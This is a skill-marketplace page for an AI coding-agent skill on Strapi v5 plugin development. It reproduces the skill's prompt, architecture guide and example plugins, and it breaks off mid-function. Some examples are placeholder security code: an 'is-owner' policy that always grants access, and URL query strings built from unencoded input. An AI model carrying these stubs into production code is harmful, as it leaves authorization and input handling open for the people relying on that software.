
Strapi Expert
- 1.1k installs
- 3 repo stars
- Updated June 8, 2026
- mkshahzad77/claude-skill-strapi-expert
strapi-expert provides documented workflows for Strapi v5 plugin development expert. Use for building, refactoring, or revamping plugins, custom APIs, admin panel extensions, Document Service API usage, conte
About
The strapi-expert skill strapi v5 plugin development expert Use for building refactoring or revamping plugins custom APIs admin panel extensions Document Service API usage content-type creation and CMS architecture Invoke when working with Strapi v5 backend development troubleshooting plugin issues implementing Strapi best practices or following Strapi plugin design guidelines Also use when the user mentions Strapi-specific terms like content-types controllers services routes or plugin structure Strapi v5 Expert You are an expert Strapi v5 developer specializing in plugin development custom APIs and CMS architecture Your mission is to write production-grade Strapi v5 code following official conventions and best practices Core Mandate Document Service API First In Strapi v5 always use the Document Service API strapi documents for all data operations The Entity Service API from v4 is deprecated Document Service vs Entity Service Operation Document Service v5 Entity Service deprecated Find many strapi documents api article article findMany strapi entityService findMany Find one strapi documents uid findOne documentId strapi entityService findOne Create strapi documents uid create dat.
- **Factory Pattern**: Use Strapi's `factories.createCoreService()`, `factories.createCoreController()`, and `factories.cr
- **Service Layer Pattern**: Business logic lives in services, controllers delegate to services.
- **Admin/Content-API Separation**: Routes are split between admin panel and public API.
- **Content Manager Integration**: Use injection zones to add UI to existing content manager views.
- **React Query for Data**: Use `@tanstack/react-query` for admin panel data fetching and mutations.
Strapi Expert by the numbers
- 1,061 all-time installs (skills.sh)
- Ranked #226 of 1,039 Mobile Development skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Aug 4, 2026 (Skillselion catalog sync)
strapi-expert capabilities & compatibility
- Capabilities
- **factory pattern**: use strapi's `factories.cre · **service layer pattern**: business logic lives · **admin/content api separation**: routes are spl · **content manager integration**: use injection z · **react query for data**: use `@tanstack/react q
- Use cases
- documentation
What strapi-expert says it does
# Strapi v5 Expert You are an expert Strapi v5 developer specializing in plugin development, custom APIs, and CMS architecture.
Your mission is to write production-grade Strapi v5 code following official conventions and best practices.
npx skills add https://github.com/mkshahzad77/claude-skill-strapi-expert --skill strapi-expertAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 1.1k |
|---|---|
| repo stars | ★ 3 |
| Security audit | 1 / 3 scanners passed |
| Last updated | June 8, 2026 |
| Repository | mkshahzad77/claude-skill-strapi-expert ↗ |
How do I use strapi-expert for the task described in its SKILL.md triggers?
Strapi v5 plugin development expert. Use for building, refactoring, or revamping plugins, custom APIs, admin panel extensions, Document Service API usage, content-type creation, and CMS architecture.
Who is it for?
Teams invoking strapi-expert when the user request matches documented triggers and prerequisites.
Skip if: Skip when cached docs are missing, the request is a negative trigger, or another sibling skill owns the workflow.
When should I use this skill?
Strapi v5 plugin development expert. Use for building, refactoring, or revamping plugins, custom APIs, admin panel extensions, Document Service API usage, content-type creation, and CMS architecture. Invoke when working
What you get
Step-by-step guidance grounded in strapi-expert documentation and reference files.
- Strapi v5 plugins
- content-type schemas
- custom API routes and services
Files
Strapi v5 Expert
You are an expert Strapi v5 developer specializing in plugin development, custom APIs, and CMS architecture. Your mission is to write production-grade Strapi v5 code following official conventions and best practices.
Core Mandate: Document Service API First
In Strapi v5, always use the Document Service API (strapi.documents) for all data operations. The Entity Service API from v4 is deprecated.
Document Service vs Entity Service
| Operation | Document Service (v5) | Entity Service (deprecated) |
|---|---|---|
| Find many | strapi.documents('api::article.article').findMany() | strapi.entityService.findMany() |
| Find one | strapi.documents(uid).findOne({ documentId }) | strapi.entityService.findOne() |
| Create | strapi.documents(uid).create({ data }) | strapi.entityService.create() |
| Update | strapi.documents(uid).update({ documentId, data }) | strapi.entityService.update() |
| Delete | strapi.documents(uid).delete({ documentId }) | strapi.entityService.delete() |
| Publish | strapi.documents(uid).publish({ documentId }) | N/A |
| Unpublish | strapi.documents(uid).unpublish({ documentId }) | N/A |
Basic Document Service Usage
// In a service or controller
const articles = await strapi.documents('api::article.article').findMany({
filters: { publishedAt: { $notNull: true } },
populate: ['author', 'categories'],
locale: 'en',
status: 'published', // 'draft' | 'published'
});
// Create with draft/publish support
const newArticle = await strapi.documents('api::article.article').create({
data: {
title: 'My Article',
content: 'Content here...',
},
status: 'draft', // Creates as draft
});
// Publish a draft
await strapi.documents('api::article.article').publish({
documentId: newArticle.documentId,
});Plugin Structure
A Strapi v5 plugin follows this structure:
my-plugin/
├── package.json # Must have strapi.kind: "plugin"
├── strapi-server.js # Server entry point
├── strapi-admin.js # Admin entry point
├── server/
│ └── src/
│ ├── index.ts # Main server export
│ ├── register.ts # Plugin registration
│ ├── bootstrap.ts # Bootstrap logic
│ ├── destroy.ts # Cleanup logic
│ ├── config/
│ │ └── index.ts # Default config
│ ├── content-types/
│ │ └── my-type/
│ │ └── schema.json
│ ├── controllers/
│ │ └── index.ts
│ ├── routes/
│ │ └── index.ts
│ ├── services/
│ │ └── index.ts
│ ├── policies/
│ │ └── index.ts
│ └── middlewares/
│ └── index.ts
└── admin/
└── src/
├── index.tsx # Admin entry
├── pages/
├── components/
└── translations/Package.json Requirements
{
"name": "my-plugin",
"version": "1.0.0",
"strapi": {
"kind": "plugin",
"name": "my-plugin",
"displayName": "My Plugin"
}
}Routes Definition
Content API Routes (Public/Authenticated)
// server/src/routes/index.ts
export default {
'content-api': {
type: 'content-api',
routes: [
{
method: 'GET',
path: '/items',
handler: 'item.findMany',
config: {
policies: [],
auth: false, // Public access
},
},
{
method: 'POST',
path: '/items',
handler: 'item.create',
config: {
policies: ['is-owner'],
},
},
],
},
};Admin API Routes (Admin Panel Only)
export default {
admin: {
type: 'admin',
routes: [
{
method: 'GET',
path: '/settings',
handler: 'settings.getSettings',
config: {
policies: ['admin::isAuthenticatedAdmin'],
},
},
],
},
};Controllers
// server/src/controllers/item.ts
import type { Core } from '@strapi/strapi';
const controller = ({ strapi }: { strapi: Core.Strapi }) => ({
async findMany(ctx) {
const items = await strapi
.documents('plugin::my-plugin.item')
.findMany({
filters: ctx.query.filters,
populate: ctx.query.populate,
});
return { data: items };
},
async create(ctx) {
const { data } = ctx.request.body;
const item = await strapi
.documents('plugin::my-plugin.item')
.create({ data });
return { data: item };
},
});
export default controller;Services
// server/src/services/item.ts
import type { Core } from '@strapi/strapi';
const service = ({ strapi }: { strapi: Core.Strapi }) => ({
async findPublished(locale = 'en') {
return strapi.documents('plugin::my-plugin.item').findMany({
status: 'published',
locale,
});
},
async publishItem(documentId: string) {
return strapi.documents('plugin::my-plugin.item').publish({
documentId,
});
},
});
export default service;Content-Type Schema
{
"kind": "collectionType",
"collectionName": "items",
"info": {
"singularName": "item",
"pluralName": "items",
"displayName": "Item"
},
"options": {
"draftAndPublish": true
},
"attributes": {
"title": {
"type": "string",
"required": true
},
"slug": {
"type": "uid",
"targetField": "title"
},
"content": {
"type": "richtext"
},
"author": {
"type": "relation",
"relation": "manyToOne",
"target": "plugin::users-permissions.user"
}
}
}Content-Type UID Format
Always use the correct UID format:
| Type | Format | Example |
|---|---|---|
| API content-type | api::singular.singular | api::article.article |
| Plugin content-type | plugin::plugin-name.type | plugin::my-plugin.item |
| User | plugin::users-permissions.user | - |
Admin Panel Components
Basic Admin Page
// admin/src/pages/HomePage.tsx
import { Main, Typography, Box } from '@strapi/design-system';
import { useIntl } from 'react-intl';
const HomePage = () => {
const { formatMessage } = useIntl();
return (
<Main>
<Box padding={8}>
<Typography variant="alpha">
{formatMessage({ id: 'my-plugin.title', defaultMessage: 'My Plugin' })}
</Typography>
</Box>
</Main>
);
};
export default HomePage;Plugin Registration
// admin/src/index.tsx
import { getTranslation } from './utils/getTranslation';
import { PLUGIN_ID } from './pluginId';
import { Initializer } from './components/Initializer';
export default {
register(app: any) {
app.addMenuLink({
to: `plugins/${PLUGIN_ID}`,
icon: PluginIcon,
intlLabel: {
id: `${PLUGIN_ID}.plugin.name`,
defaultMessage: 'My Plugin',
},
Component: async () => import('./pages/App'),
});
app.registerPlugin({
id: PLUGIN_ID,
initializer: Initializer,
isReady: false,
name: PLUGIN_ID,
});
},
async registerTrads({ locales }: { locales: string[] }) {
return Promise.all(
locales.map(async (locale) => {
try {
const { default: data } = await import(`./translations/${locale}.json`);
return { data, locale };
} catch {
return { data: {}, locale };
}
})
);
},
};Policies
// server/src/policies/is-owner.ts
export default (policyContext, config, { strapi }) => {
const { user } = policyContext.state;
if (!user) {
return false;
}
// Custom ownership logic
return true;
};Common Anti-Patterns to Avoid
| Anti-Pattern | Correct Approach |
|---|---|
| Using Entity Service | Use Document Service API |
strapi.query() for CRUD | Use strapi.documents() |
| Hardcoded UIDs | Use constants or config |
| No error handling in controllers | Wrap in try-catch, use ctx.throw |
| Direct database queries | Use Document Service with filters |
| Skipping policies | Always implement authorization |
Troubleshooting Guide
| Issue | Solution |
|---|---|
| Plugin not loading | Check package.json has strapi.kind: "plugin" |
| Routes 404 | Verify route type (content-api vs admin) and handler path |
| Permission denied | Configure permissions in Settings > Roles |
| Admin panel blank | Check admin/src/index.tsx exports and React errors |
| TypeScript errors | Run strapi ts:generate-types |
| Build failures | Run npm run build in plugin, check for import errors |
Development Commands
# Create new plugin
npx @strapi/sdk-plugin@latest init my-plugin
# Build plugin
cd my-plugin && npm run build
# Watch mode for development
npm run watch
# Link plugin for local development
npm run watch:link
# Verify plugin structure
npx @strapi/sdk-plugin@latest verify---
Plugin Architecture Best Practices
Based on the strapi-community/plugin-todo reference implementation.
Design Principles
1. Factory Pattern: Use Strapi's factories.createCoreService(), factories.createCoreController(), and factories.createCoreRouter() for standard CRUD operations. 2. Service Layer Pattern: Business logic lives in services, controllers delegate to services. 3. Admin/Content-API Separation: Routes are split between admin panel and public API. 4. Content Manager Integration: Use injection zones to add UI to existing content manager views. 5. React Query for Data: Use @tanstack/react-query for admin panel data fetching and mutations.
Recommended Plugin Structure (plugin-todo pattern)
plugin-name/
├── package.json # Plugin metadata with exports
├── admin/
│ └── src/
│ ├── index.ts # Admin registration & bootstrap
│ ├── pluginId.ts # Plugin ID constant
│ ├── components/
│ │ ├── Initializer.tsx # Plugin initialization
│ │ └── [Component].tsx # UI components
│ ├── utils/ # Helper utilities
│ └── translations/
│ └── en.json
└── server/
└── src/
├── index.ts # Server exports aggregator
├── content-types/
│ ├── index.ts
│ └── [type-name]/
│ ├── index.ts
│ └── schema.json
├── controllers/
│ ├── index.ts
│ └── [name].ts
├── services/
│ ├── index.ts
│ └── [name].ts
└── routes/
├── index.ts # Route aggregator
├── admin/
│ ├── index.ts # Admin routes with custom endpoints
│ └── [name].ts # Core router for CRUD
└── content-api/
└── index.ts # Public API routesPackage.json with Modern Exports
{
"name": "@strapi-community/plugin-todo",
"version": "1.0.0",
"description": "Keep track of your content management with todo lists",
"strapi": {
"kind": "plugin",
"name": "todo",
"displayName": "Todo"
},
"exports": {
"./strapi-admin": {
"source": "./admin/src/index.ts",
"import": "./dist/admin/index.mjs",
"require": "./dist/admin/index.js"
},
"./strapi-server": {
"source": "./server/src/index.ts",
"import": "./dist/server/index.mjs",
"require": "./dist/server/index.js"
}
},
"dependencies": {
"@tanstack/react-query": "^5.0.0"
},
"peerDependencies": {
"@strapi/strapi": "^5.0.0",
"@strapi/design-system": "^2.0.0",
"react": "^17.0.0 || ^18.0.0"
}
}Server Index Pattern
// server/src/index.ts
import controllers from './controllers';
import routes from './routes';
import services from './services';
import contentTypes from './content-types';
export default {
controllers,
routes,
services,
contentTypes,
};Factory-Based Service
// server/src/services/task.ts
import { factories } from '@strapi/strapi';
export default factories.createCoreService('plugin::todo.task', ({ strapi }) => ({
// Custom method extending core service
async findRelatedTasks(relatedId: string, relatedType: string) {
// Query junction table for polymorphic relation
const relatedTasks = await strapi.db
.query('tasks_related_mph')
.findMany({
where: { related_id: relatedId, related_type: relatedType },
});
const taskIds = relatedTasks.map((t) => t.task_id);
// Fetch full task documents
return strapi.documents('plugin::todo.task').findMany({
filters: { id: { $in: taskIds } },
});
},
}));Factory-Based Controller
// server/src/controllers/task.ts
import { factories } from '@strapi/strapi';
export default factories.createCoreController('plugin::todo.task', ({ strapi }) => ({
// Custom endpoint handler
async findRelatedTasks(ctx) {
const { relatedId, relatedType } = ctx.params;
const tasks = await strapi
.service('plugin::todo.task')
.findRelatedTasks(relatedId, relatedType);
ctx.body = tasks;
},
}));Route Organization with Core Router
// server/src/routes/index.ts
import contentAPIRoutes from './content-api';
import adminAPIRoutes from './admin';
const routes = {
'content-api': contentAPIRoutes,
admin: adminAPIRoutes,
};
export default routes;// server/src/routes/admin/task.ts - Core CRUD routes
import { factories } from '@strapi/strapi';
export default factories.createCoreRouter('plugin::todo.task');// server/src/routes/admin/index.ts - Custom + Core routes
import task from './task';
export default () => ({
type: 'admin',
routes: [
// Spread core CRUD routes
...task.routes,
// Add custom endpoints
{
method: 'GET',
path: '/tasks/related/:relatedType/:relatedId',
handler: 'task.findRelatedTasks',
},
],
});Hidden Plugin Content Type (Internal Use)
{
"kind": "collectionType",
"collectionName": "tasks",
"info": {
"singularName": "task",
"pluralName": "tasks",
"displayName": "Task"
},
"options": {
"draftAndPublish": false
},
"pluginOptions": {
"content-manager": { "visible": false },
"content-type-builder": { "visible": false }
},
"attributes": {
"name": { "type": "text" },
"done": { "type": "boolean" },
"related": {
"type": "relation",
"relation": "morphToMany"
}
}
}Admin Panel with Content Manager Integration
// admin/src/index.ts
import { PLUGIN_ID } from './pluginId';
import { Initializer } from './components/Initializer';
import { TodoPanel } from './components/TodoPanel';
export default {
register(app: any) {
app.registerPlugin({
id: PLUGIN_ID,
initializer: Initializer,
isReady: false,
name: PLUGIN_ID,
});
},
bootstrap(app: any) {
// Inject panel into Content Manager edit view
app.getPlugin('content-manager').injectComponent('editView', 'right-links', {
name: 'todo-panel',
Component: TodoPanel,
});
},
async registerTrads({ locales }: { locales: string[] }) {
return Promise.all(
locales.map(async (locale) => {
try {
const { default: data } = await import(`./translations/${locale}.json`);
return { data, locale };
} catch {
return { data: {}, locale };
}
})
);
},
};React Query Pattern for Admin Components
// admin/src/components/TodoPanel.tsx
import { useState } from 'react';
import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
import { unstable_useContentManagerContext as useContentManagerContext } from '@strapi/strapi/admin';
import { TextButton, Plus } from '@strapi/design-system';
import { TaskList } from './TaskList';
import { TodoModal } from './TodoModal';
const queryClient = new QueryClient();
export const TodoPanel = () => {
const [modalOpen, setModalOpen] = useState(false);
const { id } = useContentManagerContext();
return (
<QueryClientProvider client={queryClient}>
<TextButton
startIcon={<Plus />}
onClick={() => setModalOpen(true)}
disabled={!id}
>
Add todo
</TextButton>
{id && (
<>
<TodoModal open={modalOpen} setOpen={setModalOpen} />
<TaskList />
</>
)}
</QueryClientProvider>
);
};Data Fetching with useFetchClient
// admin/src/components/TaskList.tsx
import { useQuery, useMutation, useQueryClient } from '@tanstack/react-query';
import { useFetchClient, unstable_useContentManagerContext } from '@strapi/strapi/admin';
import { Checkbox } from '@strapi/design-system';
export const TaskList = () => {
const { get, put } = useFetchClient();
const { slug, id } = unstable_useContentManagerContext();
const queryClient = useQueryClient();
const { data: tasks } = useQuery({
queryKey: ['tasks', slug, id],
queryFn: () => get(`/todo/tasks/related/${slug}/${id}`).then((res) => res.data),
});
const toggleMutation = useMutation({
mutationFn: (task: any) =>
put(`/todo/tasks/${task.documentId}`, { data: { done: !task.done } }),
onSuccess: () => queryClient.invalidateQueries({ queryKey: ['tasks', slug, id] }),
});
return (
<ul>
{tasks?.map((task: any) => (
<li key={task.id}>
<Checkbox
checked={task.done}
onCheckedChange={() => toggleMutation.mutate(task)}
>
{task.name}
</Checkbox>
</li>
))}
</ul>
);
};Best Practices Checklist
Server:
- [ ] Use
factories.createCoreService()for standard CRUD - [ ] Use
factories.createCoreController()with custom methods - [ ] Use
factories.createCoreRouter()for automatic CRUD routes - [ ] Split routes into
admin/andcontent-api/directories - [ ] Hide internal content types from Content Manager UI
Admin Panel:
- [ ] Use
QueryClientProviderfor React Query context - [ ] Use
useFetchClient()for API calls - [ ] Use
unstable_useContentManagerContext()for current entity info - [ ] Use
app.getPlugin('content-manager').injectComponent()for CM integration - [ ] Support translations with
registerTrads()
Content Types:
- [ ] Use
morphToManyfor polymorphic relations - [ ] Set
pluginOptions.content-manager.visible: falsefor internal types - [ ] Use singular names (
tasknottasks)
For detailed patterns, see patterns.md. For real-world examples, see examples.md.
# OS files
.DS_Store
Thumbs.db
# Editor files
*.swp
*.swo
*~
.idea/
.vscode/
# Temporary files
*.tmp
*.temp
Contributing to Strapi Expert Skill
Thank you for your interest in contributing to the Strapi Expert skill for Claude Code!
How to Contribute
Reporting Issues
- Use GitHub Issues to report bugs or suggest features
- Include clear descriptions and examples where possible
- Check existing issues before creating a new one
Submitting Changes
1. Fork the repository
git clone https://github.com/ayhid/claude-skill-strapi-expert.git
cd claude-skill-strapi-expert2. Create a branch
git checkout -b feature/your-feature-name3. Make your changes
- Follow the existing code style and formatting
- Test your changes with Claude Code if possible
4. Commit your changes
git commit -m "Add: description of your changes"5. Push and create a Pull Request
git push origin feature/your-feature-nameFile Structure
| File | Purpose | When to Edit |
|---|---|---|
SKILL.md | Core skill definition | Adding fundamental concepts, API references |
patterns.md | Advanced patterns and techniques | Adding reusable patterns, best practices |
examples.md | Complete code examples | Adding real-world implementations |
Content Guidelines
Adding New Patterns
When adding to patterns.md:
1. Use clear section headers with ## 2. Include code examples with proper TypeScript/TSX syntax highlighting 3. Explain when and why to use the pattern 4. Reference official Strapi documentation where applicable
Adding New Examples
When adding to examples.md:
1. Provide complete, runnable code 2. Include file paths as comments (e.g., // server/src/services/task.ts) 3. Add a summary table of key patterns demonstrated 4. Ensure code follows Strapi v5 conventions
Code Style
- Use TypeScript for all code examples
- Use proper indentation (2 spaces)
- Include type annotations
- Add comments for complex logic
- Follow Strapi naming conventions:
- Content types: singular (
tasknottasks) - UIDs:
plugin::plugin-name.content-type
What We're Looking For
High Priority
- New Strapi v5 patterns not yet covered
- Admin panel component examples
- Content Manager customization patterns
- Database query optimizations
- Security best practices
Nice to Have
- Migration guides from Strapi v4
- Testing patterns for plugins
- CI/CD examples for plugin development
- Performance optimization tips
Questions?
Feel free to open an issue for any questions about contributing.
License
By contributing, you agree that your contributions will be licensed under the MIT License.
Strapi v5 Real-World Examples
Complete Plugin: Bookmarks System
A full example of a user bookmarks plugin with admin panel.
Plugin Structure
bookmark-plugin/
├── package.json
├── strapi-server.js
├── strapi-admin.js
├── server/src/
│ ├── index.ts
│ ├── content-types/
│ │ └── bookmark/
│ │ └── schema.json
│ ├── controllers/
│ │ └── bookmark.ts
│ ├── routes/
│ │ └── index.ts
│ └── services/
│ └── bookmark.ts
└── admin/src/
├── index.tsx
└── pages/
└── HomePage.tsxpackage.json
{
"name": "bookmark-plugin",
"version": "1.0.0",
"strapi": {
"kind": "plugin",
"name": "bookmark-plugin",
"displayName": "Bookmarks"
},
"main": "./strapi-server.js",
"exports": {
"./strapi-admin": {
"source": "./admin/src/index.tsx",
"require": "./dist/admin/index.js"
},
"./strapi-server": {
"source": "./server/src/index.ts",
"require": "./dist/server/index.js"
}
}
}Content-Type Schema
// server/src/content-types/bookmark/schema.json
{
"kind": "collectionType",
"collectionName": "bookmarks",
"info": {
"singularName": "bookmark",
"pluralName": "bookmarks",
"displayName": "Bookmark"
},
"options": {
"draftAndPublish": false
},
"attributes": {
"user": {
"type": "relation",
"relation": "manyToOne",
"target": "plugin::users-permissions.user",
"required": true
},
"contentType": {
"type": "string",
"required": true
},
"contentId": {
"type": "string",
"required": true
},
"note": {
"type": "text"
}
}
}Service
// server/src/services/bookmark.ts
import type { Core } from '@strapi/strapi';
const BOOKMARK_UID = 'plugin::bookmark-plugin.bookmark';
const bookmarkService = ({ strapi }: { strapi: Core.Strapi }) => ({
async getUserBookmarks(userId: string, contentType?: string) {
const filters: any = { user: { id: userId } };
if (contentType) {
filters.contentType = contentType;
}
return strapi.documents(BOOKMARK_UID).findMany({
filters,
sort: { createdAt: 'desc' },
});
},
async addBookmark(userId: string, contentType: string, contentId: string, note?: string) {
// Check if already bookmarked
const existing = await strapi.documents(BOOKMARK_UID).findFirst({
filters: {
user: { id: userId },
contentType,
contentId,
},
});
if (existing) {
return existing;
}
return strapi.documents(BOOKMARK_UID).create({
data: {
user: userId,
contentType,
contentId,
note,
},
});
},
async removeBookmark(userId: string, contentType: string, contentId: string) {
const bookmark = await strapi.documents(BOOKMARK_UID).findFirst({
filters: {
user: { id: userId },
contentType,
contentId,
},
});
if (!bookmark) {
return null;
}
await strapi.documents(BOOKMARK_UID).delete({
documentId: bookmark.documentId,
});
return bookmark;
},
async isBookmarked(userId: string, contentType: string, contentId: string) {
const count = await strapi.documents(BOOKMARK_UID).count({
filters: {
user: { id: userId },
contentType,
contentId,
},
});
return count > 0;
},
});
export default bookmarkService;Controller
// server/src/controllers/bookmark.ts
import type { Core } from '@strapi/strapi';
import { errors } from '@strapi/utils';
const { UnauthorizedError, ValidationError } = errors;
const bookmarkController = ({ strapi }: { strapi: Core.Strapi }) => ({
async list(ctx) {
const user = ctx.state.user;
if (!user) {
throw new UnauthorizedError('You must be logged in');
}
const { contentType } = ctx.query;
const bookmarks = await strapi
.service('plugin::bookmark-plugin.bookmark')
.getUserBookmarks(user.id, contentType);
return { data: bookmarks };
},
async add(ctx) {
const user = ctx.state.user;
if (!user) {
throw new UnauthorizedError('You must be logged in');
}
const { contentType, contentId, note } = ctx.request.body;
if (!contentType || !contentId) {
throw new ValidationError('contentType and contentId are required');
}
const bookmark = await strapi
.service('plugin::bookmark-plugin.bookmark')
.addBookmark(user.id, contentType, contentId, note);
return { data: bookmark };
},
async remove(ctx) {
const user = ctx.state.user;
if (!user) {
throw new UnauthorizedError('You must be logged in');
}
const { contentType, contentId } = ctx.request.body;
if (!contentType || !contentId) {
throw new ValidationError('contentType and contentId are required');
}
const bookmark = await strapi
.service('plugin::bookmark-plugin.bookmark')
.removeBookmark(user.id, contentType, contentId);
return { data: bookmark };
},
async check(ctx) {
const user = ctx.state.user;
if (!user) {
throw new UnauthorizedError('You must be logged in');
}
const { contentType, contentId } = ctx.query;
if (!contentType || !contentId) {
throw new ValidationError('contentType and contentId are required');
}
const isBookmarked = await strapi
.service('plugin::bookmark-plugin.bookmark')
.isBookmarked(user.id, contentType, contentId);
return { data: { isBookmarked } };
},
});
export default bookmarkController;Routes
// server/src/routes/index.ts
export default {
'content-api': {
type: 'content-api',
routes: [
{
method: 'GET',
path: '/bookmarks',
handler: 'bookmark.list',
config: {
policies: [],
},
},
{
method: 'POST',
path: '/bookmarks',
handler: 'bookmark.add',
config: {
policies: [],
},
},
{
method: 'DELETE',
path: '/bookmarks',
handler: 'bookmark.remove',
config: {
policies: [],
},
},
{
method: 'GET',
path: '/bookmarks/check',
handler: 'bookmark.check',
config: {
policies: [],
},
},
],
},
};---
API Integration Plugin Example
A plugin that syncs content with an external API.
Service with External API
// server/src/services/sync.ts
import type { Core } from '@strapi/strapi';
interface ExternalProduct {
id: string;
name: string;
price: number;
description: string;
}
const syncService = ({ strapi }: { strapi: Core.Strapi }) => ({
async fetchExternalProducts(): Promise<ExternalProduct[]> {
const settings = await this.getSettings();
const response = await fetch(`${settings.apiUrl}/products`, {
headers: {
Authorization: `Bearer ${settings.apiKey}`,
},
});
if (!response.ok) {
throw new Error(`API request failed: ${response.status}`);
}
return response.json();
},
async syncProducts() {
const externalProducts = await this.fetchExternalProducts();
const results = { created: 0, updated: 0, errors: 0 };
for (const extProduct of externalProducts) {
try {
const existing = await strapi
.documents('plugin::sync-plugin.product')
.findFirst({
filters: { externalId: extProduct.id },
});
if (existing) {
await strapi.documents('plugin::sync-plugin.product').update({
documentId: existing.documentId,
data: {
name: extProduct.name,
price: extProduct.price,
description: extProduct.description,
lastSyncedAt: new Date(),
},
});
results.updated++;
} else {
await strapi.documents('plugin::sync-plugin.product').create({
data: {
externalId: extProduct.id,
name: extProduct.name,
price: extProduct.price,
description: extProduct.description,
lastSyncedAt: new Date(),
},
});
results.created++;
}
} catch (error) {
strapi.log.error(`Failed to sync product ${extProduct.id}:`, error);
results.errors++;
}
}
// Log sync results
await strapi.documents('plugin::sync-plugin.sync-log').create({
data: {
type: 'products',
...results,
completedAt: new Date(),
},
});
return results;
},
async getSettings() {
const settings = await strapi
.documents('plugin::sync-plugin.settings')
.findFirst();
if (!settings?.apiUrl || !settings?.apiKey) {
throw new Error('Sync plugin not configured. Please set API URL and key.');
}
return settings;
},
});
export default syncService;Admin Settings Page
// admin/src/pages/Settings.tsx
import { useState, useEffect } from 'react';
import {
Main,
Box,
Typography,
TextInput,
Button,
Flex,
Alert,
} from '@strapi/design-system';
import { useFetchClient, useNotification } from '@strapi/strapi/admin';
const Settings = () => {
const [settings, setSettings] = useState({ apiUrl: '', apiKey: '' });
const [loading, setLoading] = useState(true);
const [saving, setSaving] = useState(false);
const { get, put } = useFetchClient();
const { toggleNotification } = useNotification();
useEffect(() => {
const fetchSettings = async () => {
try {
const { data } = await get('/sync-plugin/settings');
setSettings(data);
} catch (error) {
console.error('Failed to fetch settings:', error);
} finally {
setLoading(false);
}
};
fetchSettings();
}, []);
const handleSave = async () => {
setSaving(true);
try {
await put('/sync-plugin/settings', settings);
toggleNotification({
type: 'success',
message: 'Settings saved successfully',
});
} catch (error) {
toggleNotification({
type: 'danger',
message: 'Failed to save settings',
});
} finally {
setSaving(false);
}
};
if (loading) {
return <Main><Box padding={8}>Loading...</Box></Main>;
}
return (
<Main>
<Box padding={8}>
<Typography variant="alpha" marginBottom={6}>
Sync Plugin Settings
</Typography>
<Box background="neutral0" padding={6} shadow="filterShadow" hasRadius>
<Flex direction="column" gap={4}>
<TextInput
label="API URL"
name="apiUrl"
value={settings.apiUrl}
onChange={(e) => setSettings({ ...settings, apiUrl: e.target.value })}
placeholder="https://api.example.com"
/>
<TextInput
label="API Key"
name="apiKey"
type="password"
value={settings.apiKey}
onChange={(e) => setSettings({ ...settings, apiKey: e.target.value })}
placeholder="Your API key"
/>
<Button onClick={handleSave} loading={saving}>
Save Settings
</Button>
</Flex>
</Box>
</Box>
</Main>
);
};
export default Settings;---
GraphQL Custom Resolver
// server/src/graphql/index.ts
export default {
register({ strapi }) {
const extensionService = strapi.plugin('graphql').service('extension');
extensionService.use(({ nexus }) => ({
types: [
nexus.extendType({
type: 'Query',
definition(t) {
t.field('articlesByAuthor', {
type: nexus.nonNull(nexus.list('Article')),
args: {
authorId: nexus.nonNull(nexus.stringArg()),
limit: nexus.intArg({ default: 10 }),
},
async resolve(parent, args, ctx) {
const { authorId, limit } = args;
const articles = await strapi
.documents('api::article.article')
.findMany({
filters: { author: { id: authorId } },
limit,
status: 'published',
populate: ['author', 'cover'],
});
return articles;
},
});
},
}),
nexus.extendType({
type: 'Mutation',
definition(t) {
t.field('toggleBookmark', {
type: 'Boolean',
args: {
contentType: nexus.nonNull(nexus.stringArg()),
contentId: nexus.nonNull(nexus.stringArg()),
},
async resolve(parent, args, ctx) {
const { contentType, contentId } = args;
const user = ctx.state.user;
if (!user) {
throw new Error('Authentication required');
}
const isBookmarked = await strapi
.service('plugin::bookmark-plugin.bookmark')
.isBookmarked(user.id, contentType, contentId);
if (isBookmarked) {
await strapi
.service('plugin::bookmark-plugin.bookmark')
.removeBookmark(user.id, contentType, contentId);
return false;
} else {
await strapi
.service('plugin::bookmark-plugin.bookmark')
.addBookmark(user.id, contentType, contentId);
return true;
}
},
});
},
}),
],
}));
},
};---
Custom Middleware: Request Validation
// server/src/middlewares/validate-api-key.ts
import type { Core } from '@strapi/strapi';
export default (config: { header?: string }, { strapi }: { strapi: Core.Strapi }) => {
const headerName = config.header || 'X-API-Key';
return async (ctx, next) => {
const apiKey = ctx.request.headers[headerName.toLowerCase()];
if (!apiKey) {
return ctx.unauthorized(`Missing ${headerName} header`);
}
// Validate against stored API keys
const validKey = await strapi
.documents('plugin::my-plugin.api-key')
.findFirst({
filters: {
key: apiKey,
active: true,
$or: [
{ expiresAt: { $null: true } },
{ expiresAt: { $gt: new Date() } },
],
},
});
if (!validKey) {
return ctx.unauthorized('Invalid or expired API key');
}
// Attach key info to context for later use
ctx.state.apiKey = validKey;
// Update last used timestamp
await strapi.documents('plugin::my-plugin.api-key').update({
documentId: validKey.documentId,
data: { lastUsedAt: new Date() },
});
await next();
};
};---
Frontend Integration Example (Next.js)
// lib/strapi.ts
const STRAPI_URL = process.env.NEXT_PUBLIC_STRAPI_URL || 'http://localhost:1337';
interface StrapiResponse<T> {
data: T;
meta?: {
pagination?: {
page: number;
pageSize: number;
pageCount: number;
total: number;
};
};
}
export async function fetchFromStrapi<T>(
endpoint: string,
options: RequestInit = {}
): Promise<StrapiResponse<T>> {
const url = `${STRAPI_URL}/api${endpoint}`;
const response = await fetch(url, {
...options,
headers: {
'Content-Type': 'application/json',
...options.headers,
},
});
if (!response.ok) {
throw new Error(`Strapi request failed: ${response.status}`);
}
return response.json();
}
// Usage examples
export async function getArticles(page = 1, pageSize = 10) {
return fetchFromStrapi<Article[]>(
`/articles?pagination[page]=${page}&pagination[pageSize]=${pageSize}&populate=*`
);
}
export async function getArticleBySlug(slug: string) {
const response = await fetchFromStrapi<Article[]>(
`/articles?filters[slug][$eq]=${slug}&populate=*`
);
return response.data[0] || null;
}
export async function toggleBookmark(
token: string,
contentType: string,
contentId: string
) {
const checkResponse = await fetchFromStrapi<{ isBookmarked: boolean }>(
`/bookmark-plugin/bookmarks/check?contentType=${contentType}&contentId=${contentId}`,
{
headers: { Authorization: `Bearer ${token}` },
}
);
if (checkResponse.data.isBookmarked) {
return fetchFromStrapi(
'/bookmark-plugin/bookmarks',
{
method: 'DELETE',
headers: { Authorization: `Bearer ${token}` },
body: JSON.stringify({ contentType, contentId }),
}
);
} else {
return fetchFromStrapi(
